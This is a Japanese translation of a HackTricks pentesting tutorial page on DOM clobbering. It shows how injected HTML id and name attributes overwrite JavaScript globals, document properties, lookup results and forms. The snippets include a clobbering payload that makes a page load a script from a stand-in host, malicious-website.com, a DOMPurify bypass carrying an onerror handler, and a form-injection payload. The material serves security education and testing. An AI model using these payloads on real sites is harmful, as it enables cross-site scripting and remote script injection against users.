hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

# Dom Clobbering

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* **サイバーセキュリティ会社**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**

</details>

## **基本**

HTMLタグの属性**`id`**と**`name`**を使用して、JSコンテキスト内で**グローバル変数**を生成することができます。
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**name属性**を使用してグローバル変数を上書きできるのは、`embed`、`form`、`iframe`、`image`、`img`、`object`の特定の要素のみです。

興味深いことに、**form要素**を使用して変数を上書きすると、要素自体の**`toString`**値が表示されます: `[object HTMLFormElement]` しかし、**anchor要素**では**`toString`**はアンカーの**`href`**になります。したがって、**`a`**タグを使用して上書きすると、**文字列として扱われるときに**制御できる**値**を取得できます:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### 配列と属性

配列やオブジェクトの属性を**上書きする**ことも可能です。
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
**`form`**を使用して、**3番目の属性**（例：x.y.z）を上書きする必要があります。
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
属性を追加することは**より複雑ですが、依然として可能**です。iframesを使用してください。
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
styleタグは、iframeがレンダリングするのに十分な時間を与えるために使用されます。それなしでは、**undefined**のアラートが表示されます。
{% endhint %}

より深い属性をクロボーするために、次のように**HTMLエンコーディングを使用したiframe**を使用することができます：
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **フィルターのバイパス**

もしフィルターが`document.getElementByID('x').attributes`のような方法でノードの**プロパティ**を**ループ処理**している場合、属性**`.attributes`**を**上書き**してフィルターを**破壊**することができます。他のDOMプロパティ、例えば**`tagName`**、**`nodeName`**、**`parentNode`**なども**上書き可能**です。
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **`window.someObject`のクロバリング**

JavaScriptの開発者がよく使うパターンは次のとおりです：
```javascript
var someObject = window.someObject || {};
```
もしページ上のHTMLの一部を制御できる場合、`someObject`の参照をアンカーなどのDOMノードで上書きすることができます。次のコードを考えてみてください。
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
この脆弱なコードを悪用するために、次のHTMLを注入して`someObject`の参照をアンカーエレメントで上書きすることができます：

{% code overflow="wrap" %}
```html
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
```
{% endcode %}

そのデータを注入すると、**`window.someObject.url`** は `href=//malicious-website.com/malicious.js` になります。

**トリック**：**`DOMPurify`** は **`cid:`** プロトコルを使用することができ、これにより **二重引用符を URL エンコードしない** ことができます。つまり、実行時にデコードされる **エンコードされた二重引用符を注入** することができます。したがって、**`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** のようなものを注入すると、HTML エンコードされた `&quot;` が **実行時にデコード** され、属性値から **`onerror`** イベントを作成するために **エスケープ** します。

もう一つの一般的なテクニックは、**`form`** 要素を使用することです。一部のクライアントサイドライブラリは、作成されたフォーム要素の属性をサニタイズするために使用されます。しかし、フォーム内に `id=attributes` の `input` を作成すると、属性プロパティを **上書き** し、サニタイザは **実際の属性** を通過することができません。

このタイプの属性上書きの例は、[**この CTF の解説**](iframes-in-xss-and-csp.md#iframes-in-sop-2)で見つけることができます。

## ドキュメントオブジェクトの上書き

ドキュメントオブジェクトの属性を DOM Clobbering を使用して上書きすることができます。

> [Document](https://html.spec.whatwg.org/multipage/dom.html#document) インターフェースは、[名前付きプロパティ](https://webidl.spec.whatwg.org/#dfn-support-named-properties) をサポートしています。[Document](https://html.spec.whatwg.org/multipage/dom.html#document) オブジェクトのサポートされているプロパティ名は、いつでも次のようになります。[tree order](https://dom.spec.whatwg.org/#concept-tree-order) に従って、それらを提供した要素に関連付けられたものを無視し、同じ要素が両方を提供する場合は、[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 属性の値が [name](https://html.spec.whatwg.org/multipage/dom.html#the-name-attribute) 属性の値よりも前に来ます。
>
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed) されている [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)、および [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed) されている [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 要素のすべての [name](https://html.spec.whatwg.org/multipage/dom.html#the-name-attribute) 属性の値で、名前付きプロパティをサポートする [ドキュメント](https://html.spec.whatwg.org/multipage/dom.html#document) オブジェクトのドキュメントは、ドキュメントを [ルート](https://dom.spec.whatwg.org/#concept-tree-root) とする [ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree) にあるものです。\
> \
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed) されている [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) 要素のすべての [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 属性の値で、名前付きプロパティをサポートする [ドキュメント](https://html.spec.whatwg.org/multipage/dom.html#document) オブジェクトのドキュメントは、ドキュメントを [ルート](https://dom.spec.whatwg.org/#concept-tree-root) とする [ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree) にあるものです。\
> \
> \- [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) 要素のすべての [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) 属性と [name](https://html.spec.whatwg.org/multipage/dom.html#the-name-attribute) 属性の両方が非空であり、名前付きプロパティをサポートする [ドキュメント](https://html.spec.whatwg.org/multipage/dom.html#document) オブジェクトのドキュメントは、ドキュメントを [ルート](https://dom.spec.whatwg.org/#concept-tree-root) とする [ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree) にあるものです。

このテクニックを使用すると、**`document.cookie`、`document.body`、`document.children`** などの一般的に使用される値、さらには `document.querySelector` のような Document インターフェースのメソッドを上書きすることができます。
```javascript
document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object
```
## 要素を上書きした後に書き込む

**`document.getElementById()`** と **`document.querySelector()`** の呼び出し結果を上書きすることができます。これは、**同じid属性を持つ `<html>` や `<body>` タグを注入する**ことで実現できます。以下に例を示します:
```html
<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>
```
興味深いことに、`innerText`から要素を**非表示にする**こともできます。したがって、HTML/bodyタグを注入すると、スタイルを使用して`innerText`から非表示にすることで、他のテキストが攻撃に干渉するのを防ぐことができます。
```html
<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
```
私たちはSVGも見てみましたが、そこでは`<body>`タグを使用することが可能です:
```html
<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
```
ChromeとFirefoxの両方で、SVG内でHTMLタグを使用するためには`<foreignobject>`タグが必要です。
```html
<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
```
## フォームの上書き

いくつかのタグ内に`form`属性を指定することで、**フォーム内に新しいエントリを追加**することができます。これを利用して、**フォーム内に新しい値を追加**したり、新しい**ボタン**を追加して**送信**することもできます（クリックジャッキングまたは`.click()`のJSコードの乱用）。 

{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}

* [**ここをチェックしてください**](https://www.w3schools.com/tags/tag\_button.asp)**で、さらにフォーム属性を確認してください。**

## 参考文献

* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**

</details>